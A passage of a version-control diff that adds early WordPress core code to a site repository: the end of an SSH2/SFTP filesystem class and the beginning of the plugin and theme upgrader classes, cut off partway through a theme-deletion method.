+	/*
+	 * This is the timeout value for ssh results.
+	 * Slower servers might need this incressed, but this number otherwise should not change.
+	 *
+	 * @parm $timeout int
+	 *
+	 */
+	var $timeout = 15;
+	var $errors = array();
+	var $options = array();
+
+	var $permission = 0644;
+
+	function WP_Filesystem_SSH2($opt='') {
+		$this->method = 'ssh2';
+		$this->errors = new WP_Error();
+
+		//Check if possible to use ssh2 functions.
+		if ( ! extension_loaded('ssh2') ) {
+			$this->errors->add('no_ssh2_ext', __('The ssh2 PHP extension is not available'));
+			return false;
+		}
+		if ( !function_exists('stream_get_contents') ) {
+			$this->errors->add('ssh2_php_requirement', __('The ssh2 PHP extension is available, however, we require the PHP5 function <code>stream_get_contents()</code>'));
+			return false;
+		}
+
+		// Set defaults:
+		if ( empty($opt['port']) )
+			$this->options['port'] = 22;
+		else
+			$this->options['port'] = $opt['port'];
+
+		if ( empty($opt['hostname']) )
+			$this->errors->add('empty_hostname', __('SSH2 hostname is required'));
+		else
+			$this->options['hostname'] = $opt['hostname'];
+
+		if ( isset($opt['base']) && ! empty($opt['base']) )
+			$this->wp_base = $opt['base'];
+
+		// Check if the options provided are OK.
+		if ( !empty ($opt['public_key']) && !empty ($opt['private_key']) ) {
+			$this->options['public_key'] = $opt['public_key'];
+			$this->options['private_key'] = $opt['private_key'];
+
+			$this->options['hostkey'] = array('hostkey' => 'ssh-rsa');
+
+			$this->keys = true;
+		} elseif ( empty ($opt['username']) ) {
+			$this->errors->add('empty_username', __('SSH2 username is required'));
+		}
+
+		if ( !empty($opt['username']) )
+			$this->options['username'] = $opt['username'];
+
+		if ( empty ($opt['password']) ) {
+			if ( !$this->keys )	//password can be blank if we are using keys
+				$this->errors->add('empty_password', __('SSH2 password is required'));
+		} else {
+			$this->options['password'] = $opt['password'];
+		}
+
+	}
+
+	function connect() {
+		if ( ! $this->keys ) {
+			$this->link = @ssh2_connect($this->options['hostname'], $this->options['port']);
+		} else {
+			$this->link = @ssh2_connect($this->options['hostname'], $this->options['port'], $this->options['hostkey']);
+		}
+
+		if ( ! $this->link ) {
+			$this->errors->add('connect', sprintf(__('Failed to connect to SSH2 Server %1$s:%2$s'), $this->options['hostname'], $this->options['port']));
+			return false;
+		}
+
+		if ( !$this->keys ) {
+			if ( ! @ssh2_auth_password($this->link, $this->options['username'], $this->options['password']) ) {
+				$this->errors->add('auth', sprintf(__('Username/Password incorrect for %s'), $this->options['username']));
+				return false;
+			}
+		} else {
+			if ( ! @ssh2_auth_pubkey_file($this->link, $this->options['username'], $this->options['public_key'], $this->options['private_key'], $this->options['password'] ) ) {
+				$this->errors->add('auth', sprintf(__('Public and Private keys incorrect for %s'), $this->options['username']));
+				return false;
+			}
+		}
+
+		$this->sftp_link = ssh2_sftp($this->link);
+
+		return true;
+	}
+
+	function run_command( $command, $returnbool = false) {
+
+		if ( ! $this->link )
+			return false;
+
+		if ( ! ($stream = ssh2_exec($this->link, $command)) ) {
+			$this->errors->add('command', sprintf(__('Unable to perform command: %s'), $command));
+		} else {
+			stream_set_blocking( $stream, true );
+			stream_set_timeout( $stream, $this->timeout );
+			$data = stream_get_contents( $stream );
+			fclose( $stream );
+
+			if ( $returnbool )
+				return ( $data === false ) ? false : '' != trim($data);
+			else
+				return $data;
+		}
+		return false;
+	}
+
+	function setDefaultPermissions($perm) {
+		$this->debug("setDefaultPermissions();");
+		if ( $perm )
+			$this->permission = $perm;
+	}
+
+	function get_contents($file, $type = '', $resumepos = 0 ) {
+		$file = ltrim($file, '/');
+		return file_get_contents('ssh2.sftp://' . $this->sftp_link . '/' . $file);
+	}
+
+	function get_contents_array($file) {
+		$file = ltrim($file, '/');
+		return file('ssh2.sftp://' . $this->sftp_link . '/' . $file);
+	}
+
+	function put_contents($file, $contents, $type = '' ) {
+		$file = ltrim($file, '/');
+		return file_put_contents('ssh2.sftp://' . $this->sftp_link . '/' . $file, $contents);
+	}
+
+	function cwd() {
+		$cwd = $this->run_command('pwd');
+		if( $cwd )
+			$cwd = trailingslashit($cwd);
+		return $cwd;
+	}
+
+	function chdir($dir) {
+		return $this->run_command('cd ' . $dir, true);
+	}
+
+	function chgrp($file, $group, $recursive = false ) {
+		if ( ! $this->exists($file) )
+			return false;
+		if ( ! $recursive || ! $this->is_dir($file) )
+			return $this->run_command(sprintf('chgrp %o %s', $mode, escapeshellarg($file)), true);
+		return $this->run_command(sprintf('chgrp -R %o %s', $mode, escapeshellarg($file)), true);
+	}
+
+	function chmod($file, $mode = false, $recursive = false) {
+		if( ! $mode )
+			$mode = $this->permission;
+		if( ! $mode )
+			return false;
+		if ( ! $this->exists($file) )
+			return false;
+		if ( ! $recursive || ! $this->is_dir($file) )
+			return $this->run_command(sprintf('chmod %o %s', $mode, escapeshellarg($file)), true);
+		return $this->run_command(sprintf('chmod -R %o %s', $mode, escapeshellarg($file)), true);
+	}
+
+	function chown($file, $owner, $recursive = false ) {
+		if ( ! $this->exists($file) )
+			return false;
+		if ( ! $recursive || ! $this->is_dir($file) )
+			return $this->run_command(sprintf('chown %o %s', $mode, escapeshellarg($file)), true);
+		return $this->run_command(sprintf('chown -R %o %s', $mode, escapeshellarg($file)), true);
+	}
+
+	function owner($file) {
+		$owneruid = @fileowner('ssh2.sftp://' . $this->sftp_link . '/' . ltrim($file, '/'));
+		if ( ! $owneruid )
+			return false;
+		if ( ! function_exists('posix_getpwuid') )
+			return $owneruid;
+		$ownerarray = posix_getpwuid($owneruid);
+		return $ownerarray['name'];
+	}
+
+	function getchmod($file) {
+		return substr(decoct(@fileperms( 'ssh2.sftp://' . $this->sftp_link . '/' . ltrim($file, '/') )),3);
+	}
+
+	function group($file) {
+		$gid = @filegroup('ssh2.sftp://' . $this->sftp_link . '/' . ltrim($file, '/'));
+		if ( ! $gid )
+			return false;
+		if ( ! function_exists('posix_getgrgid') )
+			return $gid;
+		$grouparray = posix_getgrgid($gid);
+		return $grouparray['name'];
+	}
+
+	function copy($source, $destination, $overwrite = false ) {
+		if( ! $overwrite && $this->exists($destination) )
+			return false;
+		$content = $this->get_contents($source);
+		if( false === $content)
+			return false;
+		return $this->put_contents($destination, $content);
+	}
+
+	function move($source, $destination, $overwrite = false) {
+		return @ssh2_sftp_rename($this->link, $source, $destination);
+	}
+
+	function delete($file, $recursive = false) {
+		if ( $this->is_file($file) )
+			return ssh2_sftp_unlink($this->sftp_link, $file);
+		if ( ! $recursive )
+			 return ssh2_sftp_rmdir($this->sftp_link, $file);
+		$filelist = $this->dirlist($file);
+		if ( is_array($filelist) ) {
+			foreach ( $filelist as $filename => $fileinfo) {
+				$this->delete($file . '/' . $filename, $recursive);
+			}
+		}
+		return ssh2_sftp_rmdir($this->sftp_link, $file);
+	}
+
+	function exists($file) {
+		$file = ltrim($file, '/');
+		return file_exists('ssh2.sftp://' . $this->sftp_link . '/' . $file);
+	}
+
+	function is_file($file) {
+		$file = ltrim($file, '/');
+		return is_file('ssh2.sftp://' . $this->sftp_link . '/' . $file);
+	}
+
+	function is_dir($path) {
+		$path = ltrim($path, '/');
+		return is_dir('ssh2.sftp://' . $this->sftp_link . '/' . $path);
+	}
+
+	function is_readable($file) {
+		$file = ltrim($file, '/');
+		return is_readable('ssh2.sftp://' . $this->sftp_link . '/' . $file);
+	}
+
+	function is_writable($file) {
+		$file = ltrim($file, '/');
+		return is_writable('ssh2.sftp://' . $this->sftp_link . '/' . $file);
+	}
+
+	function atime($file) {
+		$file = ltrim($file, '/');
+		return fileatime('ssh2.sftp://' . $this->sftp_link . '/' . $file);
+	}
+
+	function mtime($file) {
+		$file = ltrim($file, '/');
+		return filemtime('ssh2.sftp://' . $this->sftp_link . '/' . $file);
+	}
+
+	function size($file) {
+		$file = ltrim($file, '/');
+		return filesize('ssh2.sftp://' . $this->sftp_link . '/' . $file);
+	}
+
+	function touch($file, $time = 0, $atime = 0) {
+		//Not implmented.
+	}
+
+	function mkdir($path, $chmod = null, $chown = false, $chgrp = false) {
+		$path = untrailingslashit($path);
+		$chmod = !empty($chmod) ? $chmod : $this->permission;
+		if ( ! ssh2_sftp_mkdir($this->sftp_link, $path, $chmod, true) )
+			return false;
+		if ( $chown )
+			$this->chown($path, $chown);
+		if ( $chgrp )
+			$this->chgrp($path, $chgrp);
+		return true;
+	}
+
+	function rmdir($path, $recursive = false) {
+		return $this->delete($path, $recursive);
+	}
+
+	function dirlist($path, $incdot = false, $recursive = false) {
+		if ( $this->is_file($path) ) {
+			$limitFile = basename($path);
+			$path = dirname($path);
+		} else {
+			$limitFile = false;
+		}
+		if ( ! $this->is_dir($path) )
+			return false;
+
+		$ret = array();
+		$dir = @dir('ssh2.sftp://' . $this->sftp_link .'/' . ltrim($path, '/') );
+		if ( ! $dir )
+			return false;
+		while (false !== ($entry = $dir->read()) ) {
+			$struc = array();
+			$struc['name'] = $entry;
+
+			if ( '.' == $struc['name'] || '..' == $struc['name'] )
+				continue; //Do not care about these folders.
+			if ( '.' == $struc['name'][0] && !$incdot)
+				continue;
+			if ( $limitFile && $struc['name'] != $limitFile)
+				continue;
+
+			$struc['perms'] 	= $this->gethchmod($path.'/'.$entry);
+			$struc['permsn']	= $this->getnumchmodfromh($struc['perms']);
+			$struc['number'] 	= false;
+			$struc['owner']    	= $this->owner($path.'/'.$entry);
+			$struc['group']    	= $this->group($path.'/'.$entry);
+			$struc['size']    	= $this->size($path.'/'.$entry);
+			$struc['lastmodunix']= $this->mtime($path.'/'.$entry);
+			$struc['lastmod']   = date('M j',$struc['lastmodunix']);
+			$struc['time']    	= date('h:i:s',$struc['lastmodunix']);
+			$struc['type']		= $this->is_dir($path.'/'.$entry) ? 'd' : 'f';
+
+			if ( 'd' == $struc['type'] ) {
+				if ( $recursive )
+					$struc['files'] = $this->dirlist($path . '/' . $struc['name'], $incdot, $recursive);
+				else
+					$struc['files'] = array();
+			}
+
+			$ret[ $struc['name'] ] = $struc;
+		}
+		$dir->close();
+		unset($dir);
+		return $ret;
+	}
+}
Index: /trunk/www.guidonia.net/wp/wp-admin/includes/class-wp-upgrader.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/includes/class-wp-upgrader.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/includes/class-wp-upgrader.php	(revision 44)
@@ -0,0 +1,1059 @@
+<?php
+/**
+ * A File upgrader class for WordPress.
+ *
+ * This set of classes are designed to be used to upgrade/install a local set of files on the filesystem via the Filesystem Abstraction classes.
+ *
+ * @link http://trac.wordpress.org/ticket/7875 consolidate plugin/theme/core upgrade/install functions
+ *
+ * @package WordPress
+ * @subpackage Upgrader
+ * @since 2.8.0
+ */
+
+/**
+ * WordPress Upgrader class for Upgrading/Installing a local set of files via the Filesystem Abstraction classes from a Zip file.
+ *
+ * @TODO More Detailed docs, for methods as well.
+ *
+ * @package WordPress
+ * @subpackage Upgrader
+ * @since 2.8.0
+ */
+class WP_Upgrader {
+	var $strings = array();
+	var $skin = null;
+	var $result = array();
+
+	function WP_Upgrader($skin = null) {
+		return $this->__construct($skin);
+	}
+	function __construct($skin = null) {
+		if ( null == $skin )
+			$this->skin = new WP_Upgrader_Skin();
+		else
+			$this->skin = $skin;
+	}
+
+	function init() {
+		$this->skin->set_upgrader($this);
+		$this->generic_strings();
+	}
+
+	function generic_strings() {
+		$this->strings['bad_request'] = __('Invalid Data provided.');
+		$this->strings['fs_unavailable'] = __('Could not access filesystem.');
+		$this->strings['fs_error'] = __('Filesystem error');
+		$this->strings['fs_no_root_dir'] = __('Unable to locate WordPress Root directory.');
+		$this->strings['fs_no_content_dir'] = __('Unable to locate WordPress Content directory (wp-content).');
+		$this->strings['fs_no_plugins_dir'] = __('Unable to locate WordPress Plugin directory.');
+		$this->strings['fs_no_themes_dir'] = __('Unable to locate WordPress Theme directory.');
+		$this->strings['fs_no_folder'] = __('Unable to locate needed folder (%s).');
+
+		$this->strings['download_failed'] = __('Download failed.');
+		$this->strings['installing_package'] = __('Installing the latest version.');
+		$this->strings['folder_exists'] = __('Destination folder already exists.');
+		$this->strings['mkdir_failed'] = __('Could not create directory.');
+		$this->strings['bad_package'] = __('Incompatible Archive');
+
+		$this->strings['maintenance_start'] = __('Enabling Maintenance mode.');
+		$this->strings['maintenance_end'] = __('Disabling Maintenance mode.');
+	}
+
+	function fs_connect( $directories = array() ) {
+		global $wp_filesystem;
+
+		if ( false === ($credentials = $this->skin->request_filesystem_credentials()) )
+			return false;
+
+		if ( ! WP_Filesystem($credentials) ) {
+			$error = true;
+			if ( is_object($wp_filesystem) && $wp_filesystem->errors->get_error_code() )
+				$error = $wp_filesystem->errors;
+			$this->skin->request_filesystem_credentials($error); //Failed to connect, Error and request again
+			return false;
+		}
+
+		if ( ! is_object($wp_filesystem) )
+			return new WP_Error('fs_unavailable', $this->strings['fs_unavailable'] );
+
+		if ( is_wp_error($wp_filesystem->errors) && $wp_filesystem->errors->get_error_code() )
+			return new WP_Error('fs_error', $this->strings['fs_error'], $wp_filesystem->errors);
+
+		foreach ( (array)$directories as $dir ) {
+			if ( ABSPATH == $dir && ! $wp_filesystem->abspath() )
+				return new WP_Error('fs_no_root_dir', $this->strings['fs_no_root_dir']);
+
+			elseif ( WP_CONTENT_DIR == $dir && ! $wp_filesystem->wp_content_dir() )
+				return new WP_Error('fs_no_content_dir', $this->strings['fs_no_content_dir']);
+
+			elseif ( WP_PLUGIN_DIR == $dir && ! $wp_filesystem->wp_plugins_dir() )
+				return new WP_Error('fs_no_plugins_dir', $this->strings['fs_no_plugins_dir']);
+
+			elseif ( WP_CONTENT_DIR . '/themes' == $dir && ! $wp_filesystem->find_folder(WP_CONTENT_DIR . '/themes') )
+				return new WP_Error('fs_no_themes_dir', $this->strings['fs_no_themes_dir']);
+
+			elseif ( ! $wp_filesystem->find_folder($dir) )
+				return new WP_Error('fs_no_folder', sprintf($strings['fs_no_folder'], $dir));
+		}
+		return true;
+	} //end fs_connect();
+
+	function download_package($package) {
+
+		if ( ! preg_match('!^(http|https|ftp)://!i', $package) && file_exists($package) ) //Local file or remote?
+			return $package; //must be a local file..
+
+		if ( empty($package) )
+			return new WP_Error('no_package', $this->strings['no_package']);
+
+		$this->skin->feedback('downloading_package', $package);
+
+		$download_file = download_url($package);
+
+		if ( is_wp_error($download_file) )
+			return new WP_Error('download_failed', $this->strings['download_failed'], $download_file->get_error_message());
+
+		return $download_file;
+	}
+
+	function unpack_package($package, $delete_package = true) {
+		global $wp_filesystem;
+
+		$this->skin->feedback('unpack_package');
+
+		$upgrade_folder = $wp_filesystem->wp_content_dir() . 'upgrade/';
+
+		//Clean up contents of upgrade directory beforehand.
+		$upgrade_files = $wp_filesystem->dirlist($upgrade_folder);
+		if ( !empty($upgrade_files) ) {
+			foreach ( $upgrade_files as $file )
+				$wp_filesystem->delete($upgrade_folder . $file['name'], true);
+		}
+
+		//We need a working directory
+		$working_dir = $upgrade_folder . basename($package, '.zip');
+
+		// Clean up working directory
+		if ( $wp_filesystem->is_dir($working_dir) )
+			$wp_filesystem->delete($working_dir, true);
+
+		// Unzip package to working directory
+		$result = unzip_file($package, $working_dir); //TODO optimizations, Copy when Move/Rename would suffice?
+
+		// Once extracted, delete the package if required.
+		if ( $delete_package )
+			unlink($package);
+
+		if ( is_wp_error($result) ) {
+			$wp_filesystem->delete($working_dir, true);
+			return $result;
+		}
+
+		return $working_dir;
+	}
+
+	function install_package($args = array()) {
+		global $wp_filesystem;
+		$defaults = array( 'source' => '', 'destination' => '', //Please always pass these
+						'clear_destination' => false, 'clear_working' => false,
+						'hook_extra' => array());
+
+		$args = wp_parse_args($args, $defaults);
+		extract($args);
+
+		@set_time_limit( 300 );
+
+		if ( empty($source) || empty($destination) )
+			return new WP_Error('bad_request', $this->strings['bad_request']);
+
+		$this->skin->feedback('installing_package');
+
+		$res = apply_filters('upgrader_pre_install', true, $hook_extra);
+		if ( is_wp_error($res) )
+			return $res;
+
+		//Retain the Original source and destinations
+		$remote_source = $source;
+		$local_destination = $destination;
+
+		$source_files = array_keys( $wp_filesystem->dirlist($remote_source) );
+		$remote_destination = $wp_filesystem->find_folder($local_destination);
+
+		//Locate which directory to copy to the new folder, This is based on the actual folder holding the files.
+		if ( 1 == count($source_files) && $wp_filesystem->is_dir( trailingslashit($source) . $source_files[0] . '/') ) //Only one folder? Then we want its contents.
+			$source = trailingslashit($source) . trailingslashit($source_files[0]);
+		elseif ( count($source_files) == 0 )
+			return new WP_Error('bad_package', $this->strings['bad_package']); //There are no files?
+		//else //Its only a single file, The upgrader will use the foldername of this file as the destination folder. foldername is based on zip filename.
+
+		//Hook ability to change the source file location..
+		$source = apply_filters('upgrader_source_selection', $source, $remote_source, $this);
+		if ( is_wp_error($source) )
+			return $source;
+
+		//Has the source location changed? If so, we need a new source_files list.
+		if ( $source !== $remote_source )
+			$source_files = array_keys( $wp_filesystem->dirlist($source) );
+
+		//Protection against deleting files in any important base directories.
+		if ( in_array( $destination, array(ABSPATH, WP_CONTENT_DIR, WP_PLUGIN_DIR, WP_CONTENT_DIR . '/themes') ) ) {
+			$remote_destination = trailingslashit($remote_destination) . trailingslashit(basename($source));
+			$destination = trailingslashit($destination) . trailingslashit(basename($source));
+		}
+
+		//If we're not clearing the destination folder, and something exists there allready, Bail.
+		if ( ! $clear_destination && $wp_filesystem->exists($remote_destination) ) {
+			$wp_filesystem->delete($remote_source, true); //Clear out the source files.
+			return new WP_Error('folder_exists', $this->strings['folder_exists'], $remote_destination );
+		} else if ( $clear_destination ) {
+			//We're going to clear the destination if theres something there
+			$this->skin->feedback('remove_old');
+
+			$removed = true;
+			if ( $wp_filesystem->exists($remote_destination) )
+				$removed = $wp_filesystem->delete($remote_destination, true);
+
+			$removed = apply_filters('upgrader_clear_destination', $removed, $local_destination, $remote_destination, $hook_extra);
+
+			if ( is_wp_error($removed) )
+				return $removed;
+			else if ( ! $removed )
+				return new WP_Error('remove_old_failed', $this->strings['remove_old_failed']);
+		}
+
+		//Create destination if needed
+		if ( !$wp_filesystem->exists($remote_destination) )
+			if ( !$wp_filesystem->mkdir($remote_destination, FS_CHMOD_DIR) )
+				return new WP_Error('mkdir_failed', $this->strings['mkdir_failed'], $remote_destination);
+
+		// Copy new version of item into place.
+		$result = copy_dir($source, $remote_destination);
+		if ( is_wp_error($result) ) {
+			if ( $clear_working )
+				$wp_filesystem->delete($remote_source, true);
+			return $result;
+		}
+
+		//Clear the Working folder?
+		if ( $clear_working )
+			$wp_filesystem->delete($remote_source, true);
+
+		$destination_name = basename( str_replace($local_destination, '', $destination) );
+		if ( '.' == $destination_name )
+			$destination_name = '';
+
+		$this->result = compact('local_source', 'source', 'source_name', 'source_files', 'destination', 'destination_name', 'local_destination', 'remote_destination', 'clear_destination', 'delete_source_dir');
+
+		$res = apply_filters('upgrader_post_install', true, $hook_extra, $this->result);
+		if ( is_wp_error($res) ) {
+			$this->result = $res;
+			return $res;
+		}
+
+		//Bombard the calling function will all the info which we've just used.
+		return $this->result;
+	}
+
+	function run($options) {
+
+		$defaults = array( 	'package' => '', //Please always pass this.
+							'destination' => '', //And this
+							'clear_destination' => false,
+							'clear_working' => true,
+							'hook_extra' => array() //Pass any extra $hook_extra args here, this will be passed to any hooked filters.
+						);
+
+		$options = wp_parse_args($options, $defaults);
+		extract($options);
+
+		//Connect to the Filesystem first.
+		$res = $this->fs_connect( array(WP_CONTENT_DIR, $destination) );
+		if ( ! $res ) //Mainly for non-connected filesystem.
+			return false;
+
+		if ( is_wp_error($res) ) {
+			$this->skin->error($res);
+			return $res;
+		}
+
+		$this->skin->header();
+		$this->skin->before();
+
+		//Download the package (Note, This just returns the filename of the file if the package is a local file)
+		$download = $this->download_package( $package );
+		if ( is_wp_error($download) ) {
+			$this->skin->error($download);
+			return $download;
+		}
+
+		//Unzip's the file into a temporary directory
+		$working_dir = $this->unpack_package( $download );
+		if ( is_wp_error($working_dir) ) {
+			$this->skin->error($working_dir);
+			return $working_dir;
+		}
+
+		//With the given options, this installs it to the destination directory.
+		$result = $this->install_package( array(
+											'source' => $working_dir,
+											'destination' => $destination,
+											'clear_destination' => $clear_destination,
+											'clear_working' => $clear_working,
+											'hook_extra' => $hook_extra
+										) );
+		$this->skin->set_result($result);
+		if ( is_wp_error($result) ) {
+			$this->skin->error($result);
+			$this->skin->feedback('process_failed');
+		} else {
+			//Install Suceeded
+			$this->skin->feedback('process_success');
+		}
+		$this->skin->after();
+		$this->skin->footer();
+		return $result;
+	}
+
+	function maintenance_mode($enable = false) {
+		global $wp_filesystem;
+		$file = $wp_filesystem->abspath() . '.maintenance';
+		if ( $enable ) {
+			$this->skin->feedback('maintenance_start');
+			// Create maintenance file to signal that we are upgrading
+			$maintenance_string = '<?php $upgrading = ' . time() . '; ?>';
+			$wp_filesystem->delete($file);
+			$wp_filesystem->put_contents($file, $maintenance_string, FS_CHMOD_FILE);
+		} else if ( !$enable && $wp_filesystem->exists($file) ) {
+			$this->skin->feedback('maintenance_end');
+			$wp_filesystem->delete($file);
+		}
+	}
+
+}
+
+/**
+ * Plugin Upgrader class for WordPress Plugins, It is designed to upgrade/install plugins from a local zip, remote zip URL, or uploaded zip file.
+ *
+ * @TODO More Detailed docs, for methods as well.
+ *
+ * @package WordPress
+ * @subpackage Upgrader
+ * @since 2.8.0
+ */
+class Plugin_Upgrader extends WP_Upgrader {
+
+	var $result;
+
+	function upgrade_strings() {
+		$this->strings['up_to_date'] = __('The plugin is at the latest version.');
+		$this->strings['no_package'] = __('Upgrade package not available.');
+		$this->strings['downloading_package'] = __('Downloading update from <span class="code">%s</span>.');
+		$this->strings['unpack_package'] = __('Unpacking the update.');
+		$this->strings['deactivate_plugin'] = __('Deactivating the plugin.');
+		$this->strings['remove_old'] = __('Removing the old version of the plugin.');
+		$this->strings['remove_old_failed'] = __('Could not remove the old plugin.');
+		$this->strings['process_failed'] = __('Plugin upgrade Failed.');
+		$this->strings['process_success'] = __('Plugin upgraded successfully.');
+	}
+
+	function install_strings() {
+		$this->strings['no_package'] = __('Install package not available.');
+		$this->strings['downloading_package'] = __('Downloading install package from <span class="code">%s</span>.');
+		$this->strings['unpack_package'] = __('Unpacking the package.');
+		$this->strings['installing_package'] = __('Installing the plugin.');
+		$this->strings['process_failed'] = __('Plugin Install Failed.');
+		$this->strings['process_success'] = __('Plugin Installed successfully.');
+	}
+
+	function install($package) {
+
+		$this->init();
+		$this->install_strings();
+
+		$this->run(array(
+					'package' => $package,
+					'destination' => WP_PLUGIN_DIR,
+					'clear_destination' => false, //Do not overwrite files.
+					'clear_working' => true,
+					'hook_extra' => array()
+					));
+
+		// Force refresh of plugin update information
+		delete_transient('update_plugins');
+
+	}
+
+	function upgrade($plugin) {
+
+		$this->init();
+		$this->upgrade_strings();
+
+		$current = get_transient( 'update_plugins' );
+		if ( !isset( $current->response[ $plugin ] ) ) {
+			$this->skin->set_result(false);
+			$this->skin->error('up_to_date');
+			$this->skin->after();
+			return false;
+		}
+
+		// Get the URL to the zip file
+		$r = $current->response[ $plugin ];
+
+		add_filter('upgrader_pre_install', array(&$this, 'deactivate_plugin_before_upgrade'), 10, 2);
+		add_filter('upgrader_clear_destination', array(&$this, 'delete_old_plugin'), 10, 4);
+		//'source_selection' => array(&$this, 'source_selection'), //theres a track ticket to move up the directory for zip's which are made a bit differently, useful for non-.org plugins.
+
+		$this->run(array(
+					'package' => $r->package,
+					'destination' => WP_PLUGIN_DIR,
+					'clear_destination' => true,
+					'clear_working' => true,
+					'hook_extra' => array(
+								'plugin' => $plugin
+					)
+				));
+
+		//Cleanup our hooks, incase something else does a upgrade on this connection.
+		remove_filter('upgrader_pre_install', array(&$this, 'deactivate_plugin_before_upgrade'));
+		remove_filter('upgrader_clear_destination', array(&$this, 'delete_old_plugin'));
+
+		if ( ! $this->result || is_wp_error($this->result) )
+			return $this->result;
+
+		// Force refresh of plugin update information
+		delete_transient('update_plugins');
+	}
+
+	//return plugin info.
+	function plugin_info() {
+		if ( ! is_array($this->result) )
+			return false;
+		if ( empty($this->result['destination_name']) )
+			return false;
+
+		$plugin = get_plugins('/' . $this->result['destination_name']); //Ensure to pass with leading slash
+		if ( empty($plugin) )
+			return false;
+
+		$pluginfiles = array_keys($plugin); //Assume the requested plugin is the first in the list
+
+		return $this->result['destination_name'] . '/' . $pluginfiles[0];
+	}
+
+	//Hooked to pre_install
+	function deactivate_plugin_before_upgrade($return, $plugin) {
+
+		if ( is_wp_error($return) ) //Bypass.
+			return $return;
+
+		$plugin = isset($plugin['plugin']) ? $plugin['plugin'] : '';
+		if ( empty($plugin) )
+			return new WP_Error('bad_request', $this->strings['bad_request']);
+
+		if ( is_plugin_active($plugin) ) {
+			$this->skin->feedback('deactivate_plugin');
+			//Deactivate the plugin silently, Prevent deactivation hooks from running.
+			deactivate_plugins($plugin, true);
+		}
+	}
+
+	//Hooked to upgrade_clear_destination
+	function delete_old_plugin($removed, $local_destination, $remote_destination, $plugin) {
+		global $wp_filesystem;
+
+		if ( is_wp_error($removed) )
+			return $removed; //Pass errors through.
+
+		$plugin = isset($plugin['plugin']) ? $plugin['plugin'] : '';
+		if ( empty($plugin) )
+			return new WP_Error('bad_request', $this->strings['bad_request']);
+
+		$plugins_dir = $wp_filesystem->wp_plugins_dir();
+		$this_plugin_dir = trailingslashit( dirname($plugins_dir . $plugin) );
+
+		if ( ! $wp_filesystem->exists($this_plugin_dir) ) //If its already vanished.
+			return $removed;
+
+		// If plugin is in its own directory, recursively delete the directory.
+		if ( strpos($plugin, '/') && $this_plugin_dir != $plugins_dir ) //base check on if plugin includes directory seperator AND that its not the root plugin folder
+			$deleted = $wp_filesystem->delete($this_plugin_dir, true);
+		else
+			$deleted = $wp_filesystem->delete($plugins_dir . $plugin);
+
+		if ( ! $deleted )
+			return new WP_Error('remove_old_failed', $this->strings['remove_old_failed']);
+
+		return $removed;
+	}
+}
+
+/**
+ * Theme Upgrader class for WordPress Themes, It is designed to upgrade/install themes from a local zip, remote zip URL, or uploaded zip file.
+ *
+ * @TODO More Detailed docs, for methods as well.
+ *
+ * @package WordPress
+ * @subpackage Upgrader
+ * @since 2.8.0
+ */
+class Theme_Upgrader extends WP_Upgrader {
+
+	var $result;
+
+	function upgrade_strings() {
+		$this->strings['up_to_date'] = __('The theme is at the latest version.');
+		$this->strings['no_package'] = __('Upgrade package not available.');
+		$this->strings['downloading_package'] = __('Downloading update from <span class="code">%s</span>.');
+		$this->strings['unpack_package'] = __('Unpacking the update.');
+		$this->strings['remove_old'] = __('Removing the old version of the theme.');
+		$this->strings['remove_old_failed'] = __('Could not remove the old theme.');
+		$this->strings['process_failed'] = __('Theme upgrade Failed.');
+		$this->strings['process_success'] = __('Theme upgraded successfully.');
+	}
+
+	function install_strings() {
+		$this->strings['no_package'] = __('Install package not available.');
+		$this->strings['downloading_package'] = __('Downloading install package from <span class="code">%s</span>.');
+		$this->strings['unpack_package'] = __('Unpacking the package.');
+		$this->strings['installing_package'] = __('Installing the theme.');
+		$this->strings['process_failed'] = __('Theme Install Failed.');
+		$this->strings['process_success'] = __('Theme Installed successfully.');
+	}
+
+	function install($package) {
+
+		$this->init();
+		$this->install_strings();
+
+		$options = array(
+						'package' => $package,
+						'destination' => WP_CONTENT_DIR . '/themes',
+						'clear_destination' => false, //Do not overwrite files.
+						'clear_working' => true
+						);
+
+		$this->run($options);
+
+		if ( ! $this->result || is_wp_error($this->result) )
+			return $this->result;
+
+		// Force refresh of theme update information
+		delete_transient('update_themes');
+
+		if ( empty($result['destination_name']) )
+			return false;
+		else
+			return $result['destination_name'];
+	}
+
+	function upgrade($theme) {
+
+		$this->init();
+		$this->upgrade_strings();
+
+		// Is an update available?
+		$current = get_transient( 'update_themes' );
+		if ( !isset( $current->response[ $theme ] ) ) {
+			$this->skin->set_result(false);
+			$this->skin->error('up_to_date');
+			$this->skin->after();
+			return false;
+		}
+		
+		$r = $current->response[ $theme ];
+
+		add_filter('upgrader_pre_install', array(&$this, 'current_before'), 10, 2);
+		add_filter('upgrader_post_install', array(&$this, 'current_after'), 10, 2);
+		add_filter('upgrader_clear_destination', array(&$this, 'delete_old_theme'), 10, 4);
+
+		$options = array(
+						'package' => $r['package'],
+						'destination' => WP_CONTENT_DIR . '/themes',
+						'clear_destination' => true,
+						'clear_working' => true,
+						'hook_extra' => array(
+											'theme' => $theme
+											)
+						);
+
+		$this->run($options);
+
+		if ( ! $this->result || is_wp_error($this->result) )
+			return $this->result;
+
+		// Force refresh of theme update information
+		delete_transient('update_themes');
+
+		return true;
+	}
+
+	function current_before($return, $theme) {
+
+		if ( is_wp_error($return) )
+			return $return;
+
+		$theme = isset($theme['theme']) ? $theme['theme'] : '';
+
+		if ( $theme != get_stylesheet() ) //If not current
+			return $return;
+		//Change to maintainence mode now.
+		$this->maintenance_mode(true);
+
+		return $return;
+	}
+	function current_after($return, $theme) {
+		if ( is_wp_error($return) )
+			return $return;
+
+		$theme = isset($theme['theme']) ? $theme['theme'] : '';
+
+		if ( $theme != get_stylesheet() ) //If not current
+			return $return;
+
+		//Ensure stylesheet name hasnt changed after the upgrade:
+		if ( $theme == get_stylesheet() && $theme != $this->result['destination_name'] ) {
+			$theme_info = $this->theme_info();
+			$stylesheet = $this->result['destination_name'];
+			$template = !empty($theme_info['Template']) ? $theme_info['Template'] : $stylesheet;
+			switch_theme($template, $stylesheet, true);
+		}
+
+		//Time to remove maintainence mode
+		$this->maintenance_mode(false);
+		return $return;
+	}
+
+	function delete_old_theme($removed, $local_destination, $remote_destination, $theme) {
+		global $wp_filesystem;
+
+		$theme = isset($theme['theme']) ? $theme['theme'] : '';
+
+		if ( is_wp_error($removed) || empty($theme) )
+			return $removed; //Pass errors through.
+
+		$themes_dir = $wp_filesystem->wp_themes_dir();
